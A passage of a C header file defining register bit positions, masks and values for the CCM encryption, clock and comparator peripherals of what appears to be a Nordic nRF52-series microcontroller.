#define CCM_INTENSET_ENDCRYPT_Msk (0x1UL << CCM_INTENSET_ENDCRYPT_Pos) /*!< Bit mask of ENDCRYPT field. */
#define CCM_INTENSET_ENDCRYPT_Disabled (0UL) /*!< Read: Disabled */
#define CCM_INTENSET_ENDCRYPT_Enabled (1UL) /*!< Read: Enabled */
#define CCM_INTENSET_ENDCRYPT_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for ENDKSGEN event */
#define CCM_INTENSET_ENDKSGEN_Pos (0UL) /*!< Position of ENDKSGEN field. */
#define CCM_INTENSET_ENDKSGEN_Msk (0x1UL << CCM_INTENSET_ENDKSGEN_Pos) /*!< Bit mask of ENDKSGEN field. */
#define CCM_INTENSET_ENDKSGEN_Disabled (0UL) /*!< Read: Disabled */
#define CCM_INTENSET_ENDKSGEN_Enabled (1UL) /*!< Read: Enabled */
#define CCM_INTENSET_ENDKSGEN_Set (1UL) /*!< Enable */
/* Register: CCM_INTENCLR */
/* Description: Disable interrupt */
/* Bit 2 : Write '1' to Disable interrupt for ERROR event */
#define CCM_INTENCLR_ERROR_Pos (2UL) /*!< Position of ERROR field. */
#define CCM_INTENCLR_ERROR_Msk (0x1UL << CCM_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define CCM_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define CCM_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define CCM_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for ENDCRYPT event */
#define CCM_INTENCLR_ENDCRYPT_Pos (1UL) /*!< Position of ENDCRYPT field. */
#define CCM_INTENCLR_ENDCRYPT_Msk (0x1UL << CCM_INTENCLR_ENDCRYPT_Pos) /*!< Bit mask of ENDCRYPT field. */
#define CCM_INTENCLR_ENDCRYPT_Disabled (0UL) /*!< Read: Disabled */
#define CCM_INTENCLR_ENDCRYPT_Enabled (1UL) /*!< Read: Enabled */
#define CCM_INTENCLR_ENDCRYPT_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for ENDKSGEN event */
#define CCM_INTENCLR_ENDKSGEN_Pos (0UL) /*!< Position of ENDKSGEN field. */
#define CCM_INTENCLR_ENDKSGEN_Msk (0x1UL << CCM_INTENCLR_ENDKSGEN_Pos) /*!< Bit mask of ENDKSGEN field. */
#define CCM_INTENCLR_ENDKSGEN_Disabled (0UL) /*!< Read: Disabled */
#define CCM_INTENCLR_ENDKSGEN_Enabled (1UL) /*!< Read: Enabled */
#define CCM_INTENCLR_ENDKSGEN_Clear (1UL) /*!< Disable */
/* Register: CCM_MICSTATUS */
/* Description: MIC check result */
/* Bit 0 : The result of the MIC check performed during the previous decryption operation */
#define CCM_MICSTATUS_MICSTATUS_Pos (0UL) /*!< Position of MICSTATUS field. */
#define CCM_MICSTATUS_MICSTATUS_Msk (0x1UL << CCM_MICSTATUS_MICSTATUS_Pos) /*!< Bit mask of MICSTATUS field. */
#define CCM_MICSTATUS_MICSTATUS_CheckFailed (0UL) /*!< MIC check failed */
#define CCM_MICSTATUS_MICSTATUS_CheckPassed (1UL) /*!< MIC check passed */
/* Register: CCM_ENABLE */
/* Description: Enable */
/* Bits 1..0 : Enable or disable CCM */
#define CCM_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define CCM_ENABLE_ENABLE_Msk (0x3UL << CCM_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define CCM_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define CCM_ENABLE_ENABLE_Enabled (2UL) /*!< Enable */
/* Register: CCM_MODE */
/* Description: Operation mode */
/* Bit 24 : Packet length configuration */
#define CCM_MODE_LENGTH_Pos (24UL) /*!< Position of LENGTH field. */
#define CCM_MODE_LENGTH_Msk (0x1UL << CCM_MODE_LENGTH_Pos) /*!< Bit mask of LENGTH field. */
#define CCM_MODE_LENGTH_Default (0UL) /*!< Default length. Effective length of LENGTH field is 5-bit */
#define CCM_MODE_LENGTH_Extended (1UL) /*!< Extended length. Effective length of LENGTH field is 8-bit */
/* Bit 16 : Data rate that the CCM shall run in synch with */
#define CCM_MODE_DATARATE_Pos (16UL) /*!< Position of DATARATE field. */
#define CCM_MODE_DATARATE_Msk (0x1UL << CCM_MODE_DATARATE_Pos) /*!< Bit mask of DATARATE field. */
#define CCM_MODE_DATARATE_1Mbit (0UL) /*!< In synch with 1 Mbit data rate */
#define CCM_MODE_DATARATE_2Mbit (1UL) /*!< In synch with 2 Mbit data rate */
/* Bit 0 : The mode of operation to be used */
#define CCM_MODE_MODE_Pos (0UL) /*!< Position of MODE field. */
#define CCM_MODE_MODE_Msk (0x1UL << CCM_MODE_MODE_Pos) /*!< Bit mask of MODE field. */
#define CCM_MODE_MODE_Encryption (0UL) /*!< AES CCM packet encryption mode */
#define CCM_MODE_MODE_Decryption (1UL) /*!< AES CCM packet decryption mode */
/* Register: CCM_CNFPTR */
/* Description: Pointer to data structure holding AES key and NONCE vector */
/* Bits 31..0 : Pointer to the data structure holding the AES key and the CCM NONCE vector (see Table 1 CCM data structure overview) */
#define CCM_CNFPTR_CNFPTR_Pos (0UL) /*!< Position of CNFPTR field. */
#define CCM_CNFPTR_CNFPTR_Msk (0xFFFFFFFFUL << CCM_CNFPTR_CNFPTR_Pos) /*!< Bit mask of CNFPTR field. */
/* Register: CCM_INPTR */
/* Description: Input pointer */
/* Bits 31..0 : Input pointer */
#define CCM_INPTR_INPTR_Pos (0UL) /*!< Position of INPTR field. */
#define CCM_INPTR_INPTR_Msk (0xFFFFFFFFUL << CCM_INPTR_INPTR_Pos) /*!< Bit mask of INPTR field. */
/* Register: CCM_OUTPTR */
/* Description: Output pointer */
/* Bits 31..0 : Output pointer */
#define CCM_OUTPTR_OUTPTR_Pos (0UL) /*!< Position of OUTPTR field. */
#define CCM_OUTPTR_OUTPTR_Msk (0xFFFFFFFFUL << CCM_OUTPTR_OUTPTR_Pos) /*!< Bit mask of OUTPTR field. */
/* Register: CCM_SCRATCHPTR */
/* Description: Pointer to data area used for temporary storage */
/* Bits 31..0 : Pointer to a scratch data area used for temporary storage during key-stream generation, MIC generation and encryption/decryption. */
#define CCM_SCRATCHPTR_SCRATCHPTR_Pos (0UL) /*!< Position of SCRATCHPTR field. */
#define CCM_SCRATCHPTR_SCRATCHPTR_Msk (0xFFFFFFFFUL << CCM_SCRATCHPTR_SCRATCHPTR_Pos) /*!< Bit mask of SCRATCHPTR field. */
/* Peripheral: CLOCK */
/* Description: Clock control */
/* Register: CLOCK_INTENSET */
/* Description: Enable interrupt */
/* Bit 4 : Write '1' to Enable interrupt for CTTO event */
#define CLOCK_INTENSET_CTTO_Pos (4UL) /*!< Position of CTTO field. */
#define CLOCK_INTENSET_CTTO_Msk (0x1UL << CLOCK_INTENSET_CTTO_Pos) /*!< Bit mask of CTTO field. */
#define CLOCK_INTENSET_CTTO_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENSET_CTTO_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENSET_CTTO_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for DONE event */
#define CLOCK_INTENSET_DONE_Pos (3UL) /*!< Position of DONE field. */
#define CLOCK_INTENSET_DONE_Msk (0x1UL << CLOCK_INTENSET_DONE_Pos) /*!< Bit mask of DONE field. */
#define CLOCK_INTENSET_DONE_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENSET_DONE_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENSET_DONE_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for LFCLKSTARTED event */
#define CLOCK_INTENSET_LFCLKSTARTED_Pos (1UL) /*!< Position of LFCLKSTARTED field. */
#define CLOCK_INTENSET_LFCLKSTARTED_Msk (0x1UL << CLOCK_INTENSET_LFCLKSTARTED_Pos) /*!< Bit mask of LFCLKSTARTED field. */
#define CLOCK_INTENSET_LFCLKSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENSET_LFCLKSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENSET_LFCLKSTARTED_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for HFCLKSTARTED event */
#define CLOCK_INTENSET_HFCLKSTARTED_Pos (0UL) /*!< Position of HFCLKSTARTED field. */
#define CLOCK_INTENSET_HFCLKSTARTED_Msk (0x1UL << CLOCK_INTENSET_HFCLKSTARTED_Pos) /*!< Bit mask of HFCLKSTARTED field. */
#define CLOCK_INTENSET_HFCLKSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENSET_HFCLKSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENSET_HFCLKSTARTED_Set (1UL) /*!< Enable */
/* Register: CLOCK_INTENCLR */
/* Description: Disable interrupt */
/* Bit 4 : Write '1' to Disable interrupt for CTTO event */
#define CLOCK_INTENCLR_CTTO_Pos (4UL) /*!< Position of CTTO field. */
#define CLOCK_INTENCLR_CTTO_Msk (0x1UL << CLOCK_INTENCLR_CTTO_Pos) /*!< Bit mask of CTTO field. */
#define CLOCK_INTENCLR_CTTO_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENCLR_CTTO_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENCLR_CTTO_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for DONE event */
#define CLOCK_INTENCLR_DONE_Pos (3UL) /*!< Position of DONE field. */
#define CLOCK_INTENCLR_DONE_Msk (0x1UL << CLOCK_INTENCLR_DONE_Pos) /*!< Bit mask of DONE field. */
#define CLOCK_INTENCLR_DONE_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENCLR_DONE_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENCLR_DONE_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for LFCLKSTARTED event */
#define CLOCK_INTENCLR_LFCLKSTARTED_Pos (1UL) /*!< Position of LFCLKSTARTED field. */
#define CLOCK_INTENCLR_LFCLKSTARTED_Msk (0x1UL << CLOCK_INTENCLR_LFCLKSTARTED_Pos) /*!< Bit mask of LFCLKSTARTED field. */
#define CLOCK_INTENCLR_LFCLKSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENCLR_LFCLKSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENCLR_LFCLKSTARTED_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for HFCLKSTARTED event */
#define CLOCK_INTENCLR_HFCLKSTARTED_Pos (0UL) /*!< Position of HFCLKSTARTED field. */
#define CLOCK_INTENCLR_HFCLKSTARTED_Msk (0x1UL << CLOCK_INTENCLR_HFCLKSTARTED_Pos) /*!< Bit mask of HFCLKSTARTED field. */
#define CLOCK_INTENCLR_HFCLKSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define CLOCK_INTENCLR_HFCLKSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define CLOCK_INTENCLR_HFCLKSTARTED_Clear (1UL) /*!< Disable */
/* Register: CLOCK_HFCLKRUN */
/* Description: Status indicating that HFCLKSTART task has been triggered */
/* Bit 0 : HFCLKSTART task triggered or not */
#define CLOCK_HFCLKRUN_STATUS_Pos (0UL) /*!< Position of STATUS field. */
#define CLOCK_HFCLKRUN_STATUS_Msk (0x1UL << CLOCK_HFCLKRUN_STATUS_Pos) /*!< Bit mask of STATUS field. */
#define CLOCK_HFCLKRUN_STATUS_NotTriggered (0UL) /*!< Task not triggered */
#define CLOCK_HFCLKRUN_STATUS_Triggered (1UL) /*!< Task triggered */
/* Register: CLOCK_HFCLKSTAT */
/* Description: HFCLK status */
/* Bit 16 : HFCLK state */
#define CLOCK_HFCLKSTAT_STATE_Pos (16UL) /*!< Position of STATE field. */
#define CLOCK_HFCLKSTAT_STATE_Msk (0x1UL << CLOCK_HFCLKSTAT_STATE_Pos) /*!< Bit mask of STATE field. */
#define CLOCK_HFCLKSTAT_STATE_NotRunning (0UL) /*!< HFCLK not running */
#define CLOCK_HFCLKSTAT_STATE_Running (1UL) /*!< HFCLK running */
/* Bit 0 : Source of HFCLK */
#define CLOCK_HFCLKSTAT_SRC_Pos (0UL) /*!< Position of SRC field. */
#define CLOCK_HFCLKSTAT_SRC_Msk (0x1UL << CLOCK_HFCLKSTAT_SRC_Pos) /*!< Bit mask of SRC field. */
#define CLOCK_HFCLKSTAT_SRC_RC (0UL) /*!< 64 MHz internal oscillator (HFINT) */
#define CLOCK_HFCLKSTAT_SRC_Xtal (1UL) /*!< 64 MHz crystal oscillator (HFXO) */
/* Register: CLOCK_LFCLKRUN */
/* Description: Status indicating that LFCLKSTART task has been triggered */
/* Bit 0 : LFCLKSTART task triggered or not */
#define CLOCK_LFCLKRUN_STATUS_Pos (0UL) /*!< Position of STATUS field. */
#define CLOCK_LFCLKRUN_STATUS_Msk (0x1UL << CLOCK_LFCLKRUN_STATUS_Pos) /*!< Bit mask of STATUS field. */
#define CLOCK_LFCLKRUN_STATUS_NotTriggered (0UL) /*!< Task not triggered */
#define CLOCK_LFCLKRUN_STATUS_Triggered (1UL) /*!< Task triggered */
/* Register: CLOCK_LFCLKSTAT */
/* Description: LFCLK status */
/* Bit 16 : LFCLK state */
#define CLOCK_LFCLKSTAT_STATE_Pos (16UL) /*!< Position of STATE field. */
#define CLOCK_LFCLKSTAT_STATE_Msk (0x1UL << CLOCK_LFCLKSTAT_STATE_Pos) /*!< Bit mask of STATE field. */
#define CLOCK_LFCLKSTAT_STATE_NotRunning (0UL) /*!< LFCLK not running */
#define CLOCK_LFCLKSTAT_STATE_Running (1UL) /*!< LFCLK running */
/* Bits 1..0 : Source of LFCLK */
#define CLOCK_LFCLKSTAT_SRC_Pos (0UL) /*!< Position of SRC field. */
#define CLOCK_LFCLKSTAT_SRC_Msk (0x3UL << CLOCK_LFCLKSTAT_SRC_Pos) /*!< Bit mask of SRC field. */
#define CLOCK_LFCLKSTAT_SRC_RC (0UL) /*!< 32.768 kHz RC oscillator */
#define CLOCK_LFCLKSTAT_SRC_Xtal (1UL) /*!< 32.768 kHz crystal oscillator */
#define CLOCK_LFCLKSTAT_SRC_Synth (2UL) /*!< 32.768 kHz synthesized from HFCLK */
/* Register: CLOCK_LFCLKSRCCOPY */
/* Description: Copy of LFCLKSRC register, set when LFCLKSTART task was triggered */
/* Bits 1..0 : Clock source */
#define CLOCK_LFCLKSRCCOPY_SRC_Pos (0UL) /*!< Position of SRC field. */
#define CLOCK_LFCLKSRCCOPY_SRC_Msk (0x3UL << CLOCK_LFCLKSRCCOPY_SRC_Pos) /*!< Bit mask of SRC field. */
#define CLOCK_LFCLKSRCCOPY_SRC_RC (0UL) /*!< 32.768 kHz RC oscillator */
#define CLOCK_LFCLKSRCCOPY_SRC_Xtal (1UL) /*!< 32.768 kHz crystal oscillator */
#define CLOCK_LFCLKSRCCOPY_SRC_Synth (2UL) /*!< 32.768 kHz synthesized from HFCLK */
/* Register: CLOCK_LFCLKSRC */
/* Description: Clock source for the LFCLK */
/* Bit 17 : Enable or disable external source for LFCLK */
#define CLOCK_LFCLKSRC_EXTERNAL_Pos (17UL) /*!< Position of EXTERNAL field. */
#define CLOCK_LFCLKSRC_EXTERNAL_Msk (0x1UL << CLOCK_LFCLKSRC_EXTERNAL_Pos) /*!< Bit mask of EXTERNAL field. */
#define CLOCK_LFCLKSRC_EXTERNAL_Disabled (0UL) /*!< Disable external source (use with Xtal) */
#define CLOCK_LFCLKSRC_EXTERNAL_Enabled (1UL) /*!< Enable use of external source instead of Xtal (SRC needs to be set to Xtal) */
/* Bit 16 : Enable or disable bypass of LFCLK crystal oscillator with external clock source */
#define CLOCK_LFCLKSRC_BYPASS_Pos (16UL) /*!< Position of BYPASS field. */
#define CLOCK_LFCLKSRC_BYPASS_Msk (0x1UL << CLOCK_LFCLKSRC_BYPASS_Pos) /*!< Bit mask of BYPASS field. */
#define CLOCK_LFCLKSRC_BYPASS_Disabled (0UL) /*!< Disable (use with Xtal or low-swing external source) */
#define CLOCK_LFCLKSRC_BYPASS_Enabled (1UL) /*!< Enable (use with rail-to-rail external source) */
/* Bits 1..0 : Clock source */
#define CLOCK_LFCLKSRC_SRC_Pos (0UL) /*!< Position of SRC field. */
#define CLOCK_LFCLKSRC_SRC_Msk (0x3UL << CLOCK_LFCLKSRC_SRC_Pos) /*!< Bit mask of SRC field. */
#define CLOCK_LFCLKSRC_SRC_RC (0UL) /*!< 32.768 kHz RC oscillator */
#define CLOCK_LFCLKSRC_SRC_Xtal (1UL) /*!< 32.768 kHz crystal oscillator */
#define CLOCK_LFCLKSRC_SRC_Synth (2UL) /*!< 32.768 kHz synthesized from HFCLK */
/* Register: CLOCK_CTIV */
/* Description: Calibration timer interval */
/* Bits 6..0 : Calibration timer interval in multiple of 0.25 seconds. Range: 0.25 seconds to 31.75 seconds. */
#define CLOCK_CTIV_CTIV_Pos (0UL) /*!< Position of CTIV field. */
#define CLOCK_CTIV_CTIV_Msk (0x7FUL << CLOCK_CTIV_CTIV_Pos) /*!< Bit mask of CTIV field. */
/* Register: CLOCK_TRACECONFIG */
/* Description: Clocking options for the Trace Port debug interface */
/* Bits 17..16 : Pin multiplexing of trace signals. */
#define CLOCK_TRACECONFIG_TRACEMUX_Pos (16UL) /*!< Position of TRACEMUX field. */
#define CLOCK_TRACECONFIG_TRACEMUX_Msk (0x3UL << CLOCK_TRACECONFIG_TRACEMUX_Pos) /*!< Bit mask of TRACEMUX field. */
#define CLOCK_TRACECONFIG_TRACEMUX_GPIO (0UL) /*!< GPIOs multiplexed onto all trace-pins */
#define CLOCK_TRACECONFIG_TRACEMUX_Serial (1UL) /*!< SWO multiplexed onto P0.18, GPIO multiplexed onto other trace pins */
#define CLOCK_TRACECONFIG_TRACEMUX_Parallel (2UL) /*!< TRACECLK and TRACEDATA multiplexed onto P0.20, P0.18, P0.16, P0.15 and P0.14. */
/* Bits 1..0 : Speed of Trace Port clock. Note that the TRACECLK pin will output this clock divided by two. */
#define CLOCK_TRACECONFIG_TRACEPORTSPEED_Pos (0UL) /*!< Position of TRACEPORTSPEED field. */
#define CLOCK_TRACECONFIG_TRACEPORTSPEED_Msk (0x3UL << CLOCK_TRACECONFIG_TRACEPORTSPEED_Pos) /*!< Bit mask of TRACEPORTSPEED field. */
#define CLOCK_TRACECONFIG_TRACEPORTSPEED_32MHz (0UL) /*!< 32 MHz Trace Port clock (TRACECLK = 16 MHz) */
#define CLOCK_TRACECONFIG_TRACEPORTSPEED_16MHz (1UL) /*!< 16 MHz Trace Port clock (TRACECLK = 8 MHz) */
#define CLOCK_TRACECONFIG_TRACEPORTSPEED_8MHz (2UL) /*!< 8 MHz Trace Port clock (TRACECLK = 4 MHz) */
#define CLOCK_TRACECONFIG_TRACEPORTSPEED_4MHz (3UL) /*!< 4 MHz Trace Port clock (TRACECLK = 2 MHz) */
/* Peripheral: COMP */
/* Description: Comparator */
/* Register: COMP_SHORTS */
/* Description: Shortcut register */
/* Bit 4 : Shortcut between CROSS event and STOP task */
#define COMP_SHORTS_CROSS_STOP_Pos (4UL) /*!< Position of CROSS_STOP field. */
#define COMP_SHORTS_CROSS_STOP_Msk (0x1UL << COMP_SHORTS_CROSS_STOP_Pos) /*!< Bit mask of CROSS_STOP field. */
#define COMP_SHORTS_CROSS_STOP_Disabled (0UL) /*!< Disable shortcut */
#define COMP_SHORTS_CROSS_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between UP event and STOP task */
#define COMP_SHORTS_UP_STOP_Pos (3UL) /*!< Position of UP_STOP field. */
#define COMP_SHORTS_UP_STOP_Msk (0x1UL << COMP_SHORTS_UP_STOP_Pos) /*!< Bit mask of UP_STOP field. */
#define COMP_SHORTS_UP_STOP_Disabled (0UL) /*!< Disable shortcut */
#define COMP_SHORTS_UP_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 2 : Shortcut between DOWN event and STOP task */
#define COMP_SHORTS_DOWN_STOP_Pos (2UL) /*!< Position of DOWN_STOP field. */
#define COMP_SHORTS_DOWN_STOP_Msk (0x1UL << COMP_SHORTS_DOWN_STOP_Pos) /*!< Bit mask of DOWN_STOP field. */
#define COMP_SHORTS_DOWN_STOP_Disabled (0UL) /*!< Disable shortcut */
#define COMP_SHORTS_DOWN_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 1 : Shortcut between READY event and STOP task */
#define COMP_SHORTS_READY_STOP_Pos (1UL) /*!< Position of READY_STOP field. */
#define COMP_SHORTS_READY_STOP_Msk (0x1UL << COMP_SHORTS_READY_STOP_Pos) /*!< Bit mask of READY_STOP field. */
#define COMP_SHORTS_READY_STOP_Disabled (0UL) /*!< Disable shortcut */
#define COMP_SHORTS_READY_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between READY event and SAMPLE task */
#define COMP_SHORTS_READY_SAMPLE_Pos (0UL) /*!< Position of READY_SAMPLE field. */
#define COMP_SHORTS_READY_SAMPLE_Msk (0x1UL << COMP_SHORTS_READY_SAMPLE_Pos) /*!< Bit mask of READY_SAMPLE field. */
#define COMP_SHORTS_READY_SAMPLE_Disabled (0UL) /*!< Disable shortcut */
#define COMP_SHORTS_READY_SAMPLE_Enabled (1UL) /*!< Enable shortcut */
/* Register: COMP_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 3 : Enable or disable interrupt for CROSS event */
#define COMP_INTEN_CROSS_Pos (3UL) /*!< Position of CROSS field. */
#define COMP_INTEN_CROSS_Msk (0x1UL << COMP_INTEN_CROSS_Pos) /*!< Bit mask of CROSS field. */
#define COMP_INTEN_CROSS_Disabled (0UL) /*!< Disable */
#define COMP_INTEN_CROSS_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for UP event */
#define COMP_INTEN_UP_Pos (2UL) /*!< Position of UP field. */
#define COMP_INTEN_UP_Msk (0x1UL << COMP_INTEN_UP_Pos) /*!< Bit mask of UP field. */
#define COMP_INTEN_UP_Disabled (0UL) /*!< Disable */
#define COMP_INTEN_UP_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for DOWN event */
#define COMP_INTEN_DOWN_Pos (1UL) /*!< Position of DOWN field. */
#define COMP_INTEN_DOWN_Msk (0x1UL << COMP_INTEN_DOWN_Pos) /*!< Bit mask of DOWN field. */
#define COMP_INTEN_DOWN_Disabled (0UL) /*!< Disable */
#define COMP_INTEN_DOWN_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for READY event */
#define COMP_INTEN_READY_Pos (0UL) /*!< Position of READY field. */
#define COMP_INTEN_READY_Msk (0x1UL << COMP_INTEN_READY_Pos) /*!< Bit mask of READY field. */
#define COMP_INTEN_READY_Disabled (0UL) /*!< Disable */
#define COMP_INTEN_READY_Enabled (1UL) /*!< Enable */
/* Register: COMP_INTENSET */
/* Description: Enable interrupt */
/* Bit 3 : Write '1' to Enable interrupt for CROSS event */
#define COMP_INTENSET_CROSS_Pos (3UL) /*!< Position of CROSS field. */
#define COMP_INTENSET_CROSS_Msk (0x1UL << COMP_INTENSET_CROSS_Pos) /*!< Bit mask of CROSS field. */
#define COMP_INTENSET_CROSS_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENSET_CROSS_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENSET_CROSS_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for UP event */
#define COMP_INTENSET_UP_Pos (2UL) /*!< Position of UP field. */
#define COMP_INTENSET_UP_Msk (0x1UL << COMP_INTENSET_UP_Pos) /*!< Bit mask of UP field. */
#define COMP_INTENSET_UP_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENSET_UP_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENSET_UP_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for DOWN event */
#define COMP_INTENSET_DOWN_Pos (1UL) /*!< Position of DOWN field. */
#define COMP_INTENSET_DOWN_Msk (0x1UL << COMP_INTENSET_DOWN_Pos) /*!< Bit mask of DOWN field. */
#define COMP_INTENSET_DOWN_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENSET_DOWN_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENSET_DOWN_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for READY event */
#define COMP_INTENSET_READY_Pos (0UL) /*!< Position of READY field. */
#define COMP_INTENSET_READY_Msk (0x1UL << COMP_INTENSET_READY_Pos) /*!< Bit mask of READY field. */
#define COMP_INTENSET_READY_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENSET_READY_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENSET_READY_Set (1UL) /*!< Enable */
/* Register: COMP_INTENCLR */
/* Description: Disable interrupt */
/* Bit 3 : Write '1' to Disable interrupt for CROSS event */
#define COMP_INTENCLR_CROSS_Pos (3UL) /*!< Position of CROSS field. */
#define COMP_INTENCLR_CROSS_Msk (0x1UL << COMP_INTENCLR_CROSS_Pos) /*!< Bit mask of CROSS field. */
#define COMP_INTENCLR_CROSS_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENCLR_CROSS_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENCLR_CROSS_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for UP event */
#define COMP_INTENCLR_UP_Pos (2UL) /*!< Position of UP field. */
#define COMP_INTENCLR_UP_Msk (0x1UL << COMP_INTENCLR_UP_Pos) /*!< Bit mask of UP field. */
#define COMP_INTENCLR_UP_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENCLR_UP_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENCLR_UP_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for DOWN event */
#define COMP_INTENCLR_DOWN_Pos (1UL) /*!< Position of DOWN field. */
#define COMP_INTENCLR_DOWN_Msk (0x1UL << COMP_INTENCLR_DOWN_Pos) /*!< Bit mask of DOWN field. */
#define COMP_INTENCLR_DOWN_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENCLR_DOWN_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENCLR_DOWN_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for READY event */
#define COMP_INTENCLR_READY_Pos (0UL) /*!< Position of READY field. */
#define COMP_INTENCLR_READY_Msk (0x1UL << COMP_INTENCLR_READY_Pos) /*!< Bit mask of READY field. */
#define COMP_INTENCLR_READY_Disabled (0UL) /*!< Read: Disabled */
#define COMP_INTENCLR_READY_Enabled (1UL) /*!< Read: Enabled */
#define COMP_INTENCLR_READY_Clear (1UL) /*!< Disable */
/* Register: COMP_RESULT */
/* Description: Compare result */
/* Bit 0 : Result of last compare. Decision point SAMPLE task. */
#define COMP_RESULT_RESULT_Pos (0UL) /*!< Position of RESULT field. */
#define COMP_RESULT_RESULT_Msk (0x1UL << COMP_RESULT_RESULT_Pos) /*!< Bit mask of RESULT field. */
#define COMP_RESULT_RESULT_Below (0UL) /*!< Input voltage is below the threshold (VIN+ < VIN-) */
#define COMP_RESULT_RESULT_Above (1UL) /*!< Input voltage is above the threshold (VIN+ > VIN-) */
/* Register: COMP_ENABLE */
/* Description: COMP enable */
/* Bits 1..0 : Enable or disable COMP */
#define COMP_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define COMP_ENABLE_ENABLE_Msk (0x3UL << COMP_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define COMP_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define COMP_ENABLE_ENABLE_Enabled (2UL) /*!< Enable */
/* Register: COMP_PSEL */
/* Description: Pin select */
/* Bits 2..0 : Analog pin select */
#define COMP_PSEL_PSEL_Pos (0UL) /*!< Position of PSEL field. */
#define COMP_PSEL_PSEL_Msk (0x7UL << COMP_PSEL_PSEL_Pos) /*!< Bit mask of PSEL field. */
#define COMP_PSEL_PSEL_AnalogInput0 (0UL) /*!< AIN0 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput1 (1UL) /*!< AIN1 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput2 (2UL) /*!< AIN2 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput3 (3UL) /*!< AIN3 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput4 (4UL) /*!< AIN4 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput5 (5UL) /*!< AIN5 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput6 (6UL) /*!< AIN6 selected as analog input */
#define COMP_PSEL_PSEL_AnalogInput7 (7UL) /*!< AIN7 selected as analog input */
/* Register: COMP_REFSEL */
/* Description: Reference source select */
/* Bits 2..0 : Reference select */
#define COMP_REFSEL_REFSEL_Pos (0UL) /*!< Position of REFSEL field. */
#define COMP_REFSEL_REFSEL_Msk (0x7UL << COMP_REFSEL_REFSEL_Pos) /*!< Bit mask of REFSEL field. */
#define COMP_REFSEL_REFSEL_Int1V2 (0UL) /*!< VREF = internal 1.2 V reference (VDD >= 1.7 V) */
#define COMP_REFSEL_REFSEL_Int1V8 (1UL) /*!< VREF = internal 1.8 V reference (VDD >= VREF + 0.2 V) */
#define COMP_REFSEL_REFSEL_Int2V4 (2UL) /*!< VREF = internal 2.4 V reference (VDD >= VREF + 0.2 V) */
#define COMP_REFSEL_REFSEL_VDD (4UL) /*!< VREF = VDD */
